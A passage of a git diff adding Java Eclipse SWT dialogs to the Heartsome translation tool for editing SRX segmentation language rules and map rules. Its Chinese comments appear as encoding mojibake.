çš„文件 + * @param curentConvertXMl + * ; + */ + public void setTableSelection(String curConvertXMl) { + File convertXml = new File(curConvertXMl); + String convertXmlName = convertXml.getName(); + TableItem[] items = table.getItems(); + for (int i = 0; i < items.length; i++) { + if (items[i].getText(1).equals(convertXmlName)) { + table.setSelection(i); + return; + } + } + } + + /** + * XML转æ¢å™¨åˆ—表排åºç±» + * @author robert + * @version + * @since JDK1.6 + */ + public static class XmlConvertOrder extends ViewerSorter { + private static final int index_ID = 1; // 第一行,åºåˆ— + private static final int xmlName_ID = 2; // 第二行,XML转æ¢æ–‡ä»¶å称 + + public static final XmlConvertOrder index_ASC = new XmlConvertOrder(index_ID); + public static final XmlConvertOrder index_DESC = new XmlConvertOrder(-index_ID); + + public static final XmlConvertOrder xmlName_ASC = new XmlConvertOrder(xmlName_ID); + public static final XmlConvertOrder xmlName_DESC = new XmlConvertOrder(-xmlName_ID); + + private int sortType; + + private XmlConvertOrder(int sortType) { + this.sortType = sortType; + } + + @Override + public int compare(Viewer viewer, Object e1, Object e2) { + String[] data1 = (String[]) e1; + String[] data2 = (String[]) e2; + switch (sortType) { + case index_ID: { + int lineNumber1 = Integer.parseInt(data1[index_ID - 1]); + int lineNumber2 = Integer.parseInt(data2[index_ID - 1]); + return lineNumber1 > lineNumber2 ? 1 : -1; + } + case -index_ID: { + int lineNumber1 = Integer.parseInt(data1[index_ID - 1]); + int lineNumber2 = Integer.parseInt(data2[index_ID - 1]); + return lineNumber1 > lineNumber2 ? -1 : 1; + } + case xmlName_ID: { + String xmlName1 = data1[xmlName_ID - 1]; + String xmlName2 = data2[xmlName_ID - 1]; + return xmlName1.compareToIgnoreCase(xmlName2); + } + case -xmlName_ID: { + String xmlName1 = data1[xmlName_ID - 1]; + String xmlName2 = data2[xmlName_ID - 1]; + return xmlName2.compareToIgnoreCase(xmlName1); + } + } + return 0; + } + } + +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/AddOrEditLangRuleOfSrxDialog.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/AddOrEditLangRuleOfSrxDialog.java new file mode 100644 index 0000000..96af457 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/AddOrEditLangRuleOfSrxDialog.java @@ -0,0 +1,145 @@ +package net.heartsome.cat.ts.ui.advanced.dialogs.srx; + +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.ts.ui.advanced.model.LanguageRuleBean; +import net.heartsome.cat.ts.ui.advanced.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * 添加语言规则对è¯æ¡† + * @author robert 2012-02-29 + * @version + * @since JDK1.6 + */ +public class AddOrEditLangRuleOfSrxDialog extends Dialog { + private boolean isAdd; + private List langRulesList = new LinkedList(); + private Button isBreakBtn; + private Text preBreakTxt; + private Text afterBreakTxt; + /** 当å‰æ‰€æ·»åŠ çš„或正在修改的语言规则 */ + private LanguageRuleBean curLangRuleBean; + + public AddOrEditLangRuleOfSrxDialog(Shell parentShell, boolean isAdd, List langRulesList) { + super(parentShell); + this.isAdd = isAdd; + this.langRulesList = langRulesList; + + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(isAdd ? Messages.getString("srx.AddOrEditLangRuleOfSrxDialog.title1") : Messages + .getString("srx.AddOrEditLangRuleOfSrxDialog.title2")); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().grab(true, true).applyTo(tparent); + + Composite langCmp = new Composite(tparent, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, true).hint(450, 100).applyTo(langCmp); + GridLayoutFactory.fillDefaults().numColumns(2).applyTo(langCmp); + + isBreakBtn = new Button(langCmp, SWT.CHECK); + isBreakBtn.setText(Messages.getString("srx.AddOrEditLangRuleOfSrxDialog.isBreakBtn")); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).span(2, SWT.DEFAULT) + .applyTo(isBreakBtn); + + Label preLbl = new Label(langCmp, SWT.NONE); + preLbl.setText(Messages.getString("srx.AddOrEditLangRuleOfSrxDialog.preLbl")); + + GridData textData = new GridData(SWT.FILL, SWT.CENTER, true, false); + + preBreakTxt = new Text(langCmp, SWT.BORDER); + preBreakTxt.setLayoutData(textData); + + Label afterLbl = new Label(langCmp, SWT.NONE); + afterLbl.setText(Messages.getString("srx.AddOrEditLangRuleOfSrxDialog.afterLbl")); + + afterBreakTxt = new Text(langCmp, SWT.BORDER); + afterBreakTxt.setLayoutData(textData); + + return tparent; + } + + @Override + protected void okPressed() { + String isBreak = isBreakBtn.getSelection() ? "yes" : "no"; + String preBreak = preBreakTxt.getText(); + String afterBreak = afterBreakTxt.getText(); + + LanguageRuleBean bean = new LanguageRuleBean(isBreak, preBreak, afterBreak); + + if (isAdd) { + // 添加之å‰éªŒè¯æ˜¯å¦é‡å¤ + if (langRulesList.indexOf(bean) == -1) { + langRulesList.add(bean); + this.curLangRuleBean = bean; + } else { + MessageDialog.openInformation(getShell(), Messages.getString("srx.AddOrEditLangRuleOfSrxDialog.msgTitle1"), + Messages.getString("srx.AddOrEditLangRuleOfSrxDialog.msg1")); + return; + } + } else { + // 先验è¯æ˜¯å¦è¯¥æ¡æ•°æ®æ˜¯å¦å·²ç»è¢«ä¿®æ”¹ï¼Œå¦‚果已ç»è¢«ä¿®æ”¹ï¼Œä½†æ˜¯ä¿®æ”¹åŽçš„æ•°æ®å·²ç»å­˜åœ¨ï¼Œé‚£ä¹ˆç›´æŽ¥è¦†ç›– + if (!curLangRuleBean.equals(bean)) { + if (langRulesList.indexOf(bean) != -1) { + boolean response = MessageDialog.openConfirm(getShell(), Messages.getString("srx.AddOrEditLangRuleOfSrxDialog.msgTitle2"), + Messages.getString("srx.AddOrEditLangRuleOfSrxDialog.msg2")); + if (response) { + langRulesList.remove(curLangRuleBean); + curLangRuleBean = bean; + } else { + return; + } + } else { + // 如果修改åŽçš„æ•°æ®æ²¡æœ‰é‡å¤ï¼Œé‚£ä¹ˆåˆ é™¤ä¿®æ”¹ä¹‹å‰çš„æ•°æ®ï¼Œå¹¶ä¸”添加到修改å‰æ•°æ®çš„ä½ç½® + langRulesList.add(langRulesList.indexOf(curLangRuleBean), bean); + langRulesList.remove(curLangRuleBean); + curLangRuleBean = bean; + } + } + } + super.okPressed(); + } + + /** + * 设置编辑的åˆå§‹åŒ–æ•°æ® + * @param editBean + * ; + */ + public void setEditInitData(LanguageRuleBean editBean) { + curLangRuleBean = editBean; + if (editBean.getIsBreak().equals("yes")) { + isBreakBtn.setSelection(true); + } + preBreakTxt.setText(editBean.getPreBreak()); + afterBreakTxt.setText(editBean.getAfterBreak()); + } + + public LanguageRuleBean getCurLangRuleBean() { + return curLangRuleBean; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/AddOrEditMapRuleOfSrxDialog.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/AddOrEditMapRuleOfSrxDialog.java new file mode 100644 index 0000000..43b7720 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/AddOrEditMapRuleOfSrxDialog.java @@ -0,0 +1,142 @@ +package net.heartsome.cat.ts.ui.advanced.dialogs.srx; + +import java.util.List; + +import net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler; +import net.heartsome.cat.ts.ui.advanced.model.MapRuleBean; +import net.heartsome.cat.ts.ui.advanced.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * 添加或修改映射规则窗体 + * @author robert 2012-03-02 + * @version + * @since JDK1.6 + */ +public class AddOrEditMapRuleOfSrxDialog extends Dialog { + private ADXmlHandler handler; + private boolean isAdd; + private Text langModelTxt; + private Combo langRuleNameCmb; + private List mapRulesList; + private MapRuleBean curMapRuleBean; + private String srxLocation; + + public AddOrEditMapRuleOfSrxDialog(Shell parentShell, boolean isAdd, List mapRulesList, + ADXmlHandler handler, String srxLocation) { + super(parentShell); + this.isAdd = isAdd; + this.mapRulesList = mapRulesList; + this.handler = handler; + this.srxLocation = srxLocation; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(isAdd ? Messages.getString("srx.AddOrEditMapRuleOfSrxDialog.title1") : Messages + .getString("srx.AddOrEditMapRuleOfSrxDialog.title2")); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().grab(true, true).applyTo(tparent); + + Composite langCmp = new Composite(tparent, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, true).hint(450, 100).applyTo(langCmp); + GridLayoutFactory.fillDefaults().numColumns(2).applyTo(langCmp); + + Label modelLbl = new Label(langCmp, SWT.NONE); + modelLbl.setText(Messages.getString("srx.AddOrEditMapRuleOfSrxDialog.modelLbl")); + + GridData textData = new GridData(SWT.FILL, SWT.CENTER, true, false); + + langModelTxt = new Text(langCmp, SWT.BORDER); + langModelTxt.setLayoutData(textData); + + Label langRuleNameLbl = new Label(langCmp, SWT.NONE); + langRuleNameLbl.setText(Messages.getString("srx.AddOrEditMapRuleOfSrxDialog.langRuleNameLbl")); + + langRuleNameCmb = new Combo(langCmp, SWT.BORDER | SWT.READ_ONLY); + langRuleNameCmb.setLayoutData(textData); + // 给语言规则å称下拉框赋值 + langRuleNameCmb.setItems(handler.getLanguageRuleNamesOfSrx_2(srxLocation).toArray(new String[] {})); + + return tparent; + } + + @Override + protected void okPressed() { + String langModel = langModelTxt.getText().trim(); + String langRuleName = langRuleNameCmb.getText().trim(); + MapRuleBean bean = new MapRuleBean(langModel, langRuleName); + + if ("".equals(langModel) || "".equals(langRuleName)) { + MessageDialog.openInformation(getShell(), Messages.getString("srx.AddOrEditMapRuleOfSrxDialog.msgTitle1"), + Messages.getString("srx.AddOrEditMapRuleOfSrxDialog.msg1")); + return; + } + + if (isAdd) { + // 添加之å‰éªŒè¯æ˜¯å¦é‡å¤ + if (mapRulesList.indexOf(bean) == -1) { + mapRulesList.add(bean); + this.curMapRuleBean = bean; + } else { + MessageDialog.openInformation(getShell(), + Messages.getString("srx.AddOrEditMapRuleOfSrxDialog.msgTitle1"), + Messages.getString("srx.AddOrEditMapRuleOfSrxDialog.msg2")); + return; + } + } else { + // 先验è¯æ˜¯å¦è¯¥æ¡æ•°æ®æ˜¯å¦å·²ç»è¢«ä¿®æ”¹ï¼Œå¦‚果已ç»è¢«ä¿®æ”¹ï¼Œä½†æ˜¯ä¿®æ”¹åŽçš„æ•°æ®å·²ç»å­˜åœ¨ï¼Œé‚£ä¹ˆç›´æŽ¥è¦†ç›– + if (!curMapRuleBean.equals(bean)) { + if (mapRulesList.indexOf(bean) != -1) { + boolean response = MessageDialog.openConfirm(getShell(), + Messages.getString("srx.AddOrEditMapRuleOfSrxDialog.msgTitle2"), + Messages.getString("srx.AddOrEditMapRuleOfSrxDialog.msg3")); + if (response) { + mapRulesList.remove(curMapRuleBean); + curMapRuleBean = bean; + } else { + return; + } + } else { + // 如果修改åŽçš„æ•°æ®æ²¡æœ‰é‡å¤ï¼Œé‚£ä¹ˆåˆ é™¤ä¿®æ”¹ä¹‹å‰çš„æ•°æ®ï¼Œå¹¶ä¸”添加到修改å‰æ•°æ®çš„ä½ç½® + mapRulesList.add(mapRulesList.indexOf(curMapRuleBean), bean); + mapRulesList.remove(curMapRuleBean); + curMapRuleBean = bean; + } + } + } + super.okPressed(); + } + + public MapRuleBean getCurMapRuleBean() { + return curMapRuleBean; + } + + public void setEditInitData(MapRuleBean editBean) { + curMapRuleBean = editBean; + langModelTxt.setText(editBean.getLanguageModel()); + langRuleNameCmb.setText(editBean.getLangRuleName()); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/AddOrEditSrxConfigDialog.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/AddOrEditSrxConfigDialog.java new file mode 100644 index 0000000..c966076 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/AddOrEditSrxConfigDialog.java @@ -0,0 +1,466 @@ +package net.heartsome.cat.ts.ui.advanced.dialogs.srx; + +import java.io.File; +import java.text.MessageFormat; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.ts.ui.advanced.ADConstants; +import net.heartsome.cat.ts.ui.advanced.TableViewerLabelProvider; +import net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler; +import net.heartsome.cat.ts.ui.advanced.resource.Messages; + +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.DoubleClickEvent; +import org.eclipse.jface.viewers.IDoubleClickListener; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.TableItem; +import org.eclipse.swt.widgets.Text; + +/** + * 添加或修改srx文件 + * @author robert + * @version + * @since JDK1.6 + */ +public class AddOrEditSrxConfigDialog extends Dialog { + private String curSrxName; + private TableViewer langTableViewer; + private Table langTable; + private Button langAddBtn; + private Button langEditBtn; + private Button langDeleteBtn; + private TableViewer mapTableViewer; + private Table mapTable; + private Button mapAddBtn; + private Button mapEditBtn; + private Button mapDeleteBtn; + private ADXmlHandler handler; + private IWorkspaceRoot root; + private String srxLocation; + + public AddOrEditSrxConfigDialog(Shell parentShell, String curSrxName, ADXmlHandler handler) { + super(parentShell); + this.curSrxName = curSrxName; + this.handler = handler; + root = ResourcesPlugin.getWorkspace().getRoot(); + srxLocation = ADConstants.configLocation + ADConstants.AD_SRXConfigFolder + File.separator + curSrxName; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("srx.AddOrEditSrxConfigDialog.title")); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.CANCEL_ID, Messages.getString("srx.AddOrEditSrxConfigDialog.cancel"), + true); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().grab(true, true).hint(500, 500).minSize(500, 500).applyTo(tparent); + + Composite nameCmp = new Composite(tparent, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(nameCmp); + GridLayoutFactory.fillDefaults().numColumns(2).applyTo(nameCmp); + + Label nameLbl = new Label(nameCmp, SWT.NONE); + nameLbl.setText(Messages.getString("srx.AddOrEditSrxConfigDialog.nameLbl")); + + Text nameTxt = new Text(nameCmp, SWT.BORDER); + nameTxt.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false)); + nameTxt.setText(curSrxName); + nameTxt.setEnabled(false); + + GridData groupData = new GridData(SWT.FILL, SWT.FILL, true, true); + GridLayout groupLayout = new GridLayout(4, false); + + createLanguageGroup(tparent, groupData, groupLayout); + createMapGroup(tparent, groupData, groupLayout); + initListener(); + + refreshLangTable(null); + refreshMapTable(null); + + return tparent; + } + + /** + * 创建语言规则é…ç½® + * @param tparent + * ; + */ + private void createLanguageGroup(Composite tparent, GridData groupData, GridLayout groupLayout) { + Group group = new Group(tparent, SWT.BORDER); + group.setLayoutData(groupData); + group.setLayout(groupLayout); + group.setText(Messages.getString("srx.AddOrEditSrxConfigDialog.groupLang")); + + langTableViewer = new TableViewer(group, SWT.FULL_SELECTION | SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL + | SWT.MULTI); + langTable = langTableViewer.getTable(); + langTable.setLinesVisible(true); + langTable.setHeaderVisible(true); + + GridDataFactory.fillDefaults().span(4, SWT.DEFAULT).grab(true, true).applyTo(langTable); + langTableViewer.setLabelProvider(new TableViewerLabelProvider()); + langTableViewer.setContentProvider(new ArrayContentProvider()); + + String[] columnNames = new String[] { Messages.getString("srx.AddOrEditSrxConfigDialog.langColumnNames1"), + Messages.getString("srx.AddOrEditSrxConfigDialog.langColumnNames2") }; + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < columnNames.length; i++) { + TableColumn tableColumn = new TableColumn(langTable, columnAlignments[i]); + tableColumn.setText(columnNames[i]); + tableColumn.setWidth(50); + } + refreshTableWidth(langTable); + + langAddBtn = new Button(group, SWT.NONE); + langAddBtn.setText(Messages.getString("srx.AddOrEditSrxConfigDialog.langAddBtn")); + setButtonLayoutData(langAddBtn); + + langEditBtn = new Button(group, SWT.NONE); + langEditBtn.setText(Messages.getString("srx.AddOrEditSrxConfigDialog.langEditBtn")); + setButtonLayoutData(langEditBtn); + + langDeleteBtn = new Button(group, SWT.NONE); + langDeleteBtn.setText(Messages.getString("srx.AddOrEditSrxConfigDialog.langDeleteBtn")); + setButtonLayoutData(langDeleteBtn); + + new Label(group, SWT.NONE); + + langTableViewer.addDoubleClickListener(new IDoubleClickListener() { + public void doubleClick(DoubleClickEvent event) { + editLangRules(); + } + }); + } + + /** + * 创建映身 + * @param tparent + * ; + */ + private void createMapGroup(Composite tparent, GridData groupData, GridLayout groupLayout) { + Group group = new Group(tparent, SWT.BORDER); + group.setLayoutData(groupData); + group.setLayout(groupLayout); + group.setText(Messages.getString("srx.AddOrEditSrxConfigDialog.group")); + + mapTableViewer = new TableViewer(group, SWT.FULL_SELECTION | SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL + | SWT.MULTI); + mapTable = mapTableViewer.getTable(); + mapTable.setLinesVisible(true); + mapTable.setHeaderVisible(true); + + GridDataFactory.fillDefaults().span(4, SWT.DEFAULT).grab(true, true).applyTo(mapTable); + mapTableViewer.setLabelProvider(new TableViewerLabelProvider()); + mapTableViewer.setContentProvider(new ArrayContentProvider()); + + String[] columnNames = new String[] { Messages.getString("srx.AddOrEditSrxConfigDialog.columnNames1"), + Messages.getString("srx.AddOrEditSrxConfigDialog.columnNames2") }; + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < columnNames.length; i++) { + TableColumn tableColumn = new TableColumn(mapTable, columnAlignments[i]); + tableColumn.setText(columnNames[i]); + tableColumn.setWidth(50); + } + refreshTableWidth(mapTable); + + mapAddBtn = new Button(group, SWT.NONE); + mapAddBtn.setText(Messages.getString("srx.AddOrEditSrxConfigDialog.mapAddBtn")); + setButtonLayoutData(mapAddBtn); + + mapEditBtn = new Button(group, SWT.NONE); + mapEditBtn.setText(Messages.getString("srx.AddOrEditSrxConfigDialog.mapEditBtn")); + setButtonLayoutData(mapEditBtn); + + mapDeleteBtn = new Button(group, SWT.NONE); + mapDeleteBtn.setText(Messages.getString("srx.AddOrEditSrxConfigDialog.mapDeleteBtn")); + setButtonLayoutData(mapDeleteBtn); + + new Label(group, SWT.NONE); + + mapTableViewer.addDoubleClickListener(new IDoubleClickListener() { + public void doubleClick(DoubleClickEvent event) { + editMapRules(); + } + }); + } + + @Override + protected void okPressed() { + // TODO Auto-generated method stub + super.okPressed(); + } + + public void initListener() { + // 语言规则下添加按钮 + langAddBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + SrxLanguageRulesManageDialog dialog = new SrxLanguageRulesManageDialog(getShell(), true, handler, + srxLocation); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + refreshLangTable(dialog.getCurLanguageRuleName()); + } + } + }); + + langEditBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + editLangRules(); + } + }); + langDeleteBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + ISelection selection = langTableViewer.getSelection(); + if (!selection.isEmpty() && selection != null && selection instanceof StructuredSelection) { + boolean response = MessageDialog.openConfirm(getShell(), + Messages.getString("srx.AddOrEditSrxConfigDialog.msgTitle1"), + Messages.getString("srx.AddOrEditSrxConfigDialog.msg1")); + if (!response) { + return; + } + StructuredSelection struSelection = (StructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator it = struSelection.iterator(); + List deleRuleNameList = new LinkedList(); + List mapedRuleNameList = new LinkedList(); + while (it.hasNext()) { + // 获å–所选中的语言规则的å称 + String langRuleName = it.next()[1]; + + if (handler.checkLangRuleNameMaped(srxLocation, langRuleName)) { + mapedRuleNameList.add(langRuleName); + continue; + } + deleRuleNameList.add(langRuleName); + } + + // 如果è¦åˆ é™¤çš„语言规则已ç»è¢«æ˜ å°„,æ示是å¦åˆ é™¤ + if (mapedRuleNameList.size() > 0) { + String mapedNameStr = ""; + for (int i = 0; i < mapedRuleNameList.size(); i++) { + mapedNameStr += " '" + mapedRuleNameList.get(i) + "'ã€"; + } + mapedNameStr = mapedNameStr.substring(0, mapedNameStr.length() - 1); + + boolean deleResponse = MessageDialog.openConfirm(getShell(), Messages + .getString("srx.AddOrEditSrxConfigDialog.msgTitle1"), MessageFormat.format( + Messages.getString("srx.AddOrEditSrxConfigDialog.msg2"), mapedNameStr)); + if (deleResponse) { + for (int i = 0; i < mapedRuleNameList.size(); i++) { + String langRuleName = mapedRuleNameList.get(i); + handler.deleteNode(srxLocation, + "/srx/body/languagerules/languagerule[@languagerulename='" + langRuleName + + "']"); + handler.deleteNode(srxLocation, + "/srx/body/maprules/maprule/languagemap[@languagerulename='" + langRuleName + + "']"); + } + } + refreshMapTable(null); + } + + for (int i = 0; i < deleRuleNameList.size(); i++) { + String langRuleName = deleRuleNameList.get(i); + handler.deleteNode(srxLocation, "/srx/body/languagerules/languagerule[@languagerulename='" + + langRuleName + "']"); + } + + refreshLangTable(null); + } else { + MessageDialog.openInformation(getShell(), + Messages.getString("srx.AddOrEditSrxConfigDialog.msgTitle2"), + Messages.getString("srx.AddOrEditSrxConfigDialog.msg3")); + } + } + }); + + mapAddBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + SrxMapRulesManageDialog dialog = new SrxMapRulesManageDialog(getShell(), true, handler, srxLocation); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + refreshMapTable(dialog.getCurMapRuleName()); + } + } + }); + mapEditBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + editMapRules(); + } + }); + mapDeleteBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + ISelection selection = mapTableViewer.getSelection(); + if (!selection.isEmpty() && selection != null && selection instanceof StructuredSelection) { + boolean response = MessageDialog.openConfirm(getShell(), + Messages.getString("srx.AddOrEditSrxConfigDialog.msgTitle1"), + Messages.getString("srx.AddOrEditSrxConfigDialog.msg4")); + if (!response) { + return; + } + StructuredSelection struSelection = (StructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator it = struSelection.iterator(); + while (it.hasNext()) { + // 获å–所选中的语言规则的å称 + String mapRuleName = it.next()[1]; + handler.deleteNode(srxLocation, "/srx/body/maprules/maprule[@maprulename='" + mapRuleName + + "']"); + } + refreshMapTable(null); + } else { + MessageDialog.openInformation(getShell(), + Messages.getString("srx.AddOrEditSrxConfigDialog.msgTitle2"), + Messages.getString("srx.AddOrEditSrxConfigDialog.msg5")); + } + } + }); + + } + + /** + * 动æ€æ”¹å˜ä¸¤ä¸ªåˆ—表的列宽 + * @param table + * ; + */ + private void refreshTableWidth(Table table) { + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.25, 0.7 }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + } + + /** + * 更新语言规则列表 ; + */ + private void refreshLangTable(String langRuleName) { + langTableViewer.setInput(handler.getLanguageRuleNamesOfSrx_1(srxLocation).toArray(new String[][] {})); + if (langRuleName != null) { + TableItem[] items = langTable.getItems(); + for (int i = 0; i < items.length; i++) { + if (langRuleName.equals(items[i].getText(1))) { + langTable.setSelection(i); + } + } + } + } + + /** + * 更新映射规则列表 ; + */ + private void refreshMapTable(String mapRuleName) { + mapTableViewer.setInput(handler.getMapRuleNames(srxLocation).toArray(new String[][] {})); + if (mapRuleName != null) { + TableItem[] items = mapTable.getItems(); + for (int i = 0; i < items.length; i++) { + if (mapRuleName.equals(items[i].getText(1))) { + mapTable.setSelection(i); + } + } + } + } + + /** + * 修改语言规则,备注,在修改语言规则å称时,也会åŒæ­¥ä¿®æ”¹æ˜ å°„中语言规则的å称 ; + */ + private void editLangRules() { + ISelection selection = langTableViewer.getSelection(); + if (!selection.isEmpty() && selection != null && selection instanceof StructuredSelection) { + StructuredSelection struSelection = (StructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator it = struSelection.iterator(); + if (it.hasNext()) { + // 获å–所选中的语言规则的å称 + String langRuleName = it.next()[1]; + SrxLanguageRulesManageDialog dialog = new SrxLanguageRulesManageDialog(getShell(), false, handler, + srxLocation); + dialog.create(); + dialog.setEditInitData(langRuleName); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + refreshLangTable(dialog.getCurLanguageRuleName()); + } + } + } else { + MessageDialog.openInformation(getShell(), Messages.getString("srx.AddOrEditSrxConfigDialog.msgTitle2"), + Messages.getString("srx.AddOrEditSrxConfigDialog.msg6")); + } + } + + public void editMapRules() { + ISelection selection = mapTableViewer.getSelection(); + if (!selection.isEmpty() && selection != null && selection instanceof StructuredSelection) { + StructuredSelection struSelection = (StructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator it = struSelection.iterator(); + if (it.hasNext()) { + // 获å–所选中的映射规则的å称 + String mapRuleName = it.next()[1]; + SrxMapRulesManageDialog dialog = new SrxMapRulesManageDialog(getShell(), false, handler, srxLocation); + dialog.create(); + dialog.setEditInitData(mapRuleName); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + refreshMapTable(dialog.getCurMapRuleName()); + } + } + } else { + MessageDialog.openInformation(getShell(), Messages.getString("srx.AddOrEditSrxConfigDialog.msgTitle2"), + Messages.getString("srx.AddOrEditSrxConfigDialog.msg7")); + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/CreateOrUpdataSRXDialog.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/CreateOrUpdataSRXDialog.java new file mode 100644 index 0000000..b1764d0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/CreateOrUpdataSRXDialog.java @@ -0,0 +1,151 @@ +package net.heartsome.cat.ts.ui.advanced.dialogs.srx; + +import java.io.File; +import java.io.FileOutputStream; +import java.text.MessageFormat; + +import net.heartsome.cat.ts.ui.advanced.ADConstants; +import net.heartsome.cat.ts.ui.advanced.resource.Messages; + +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import 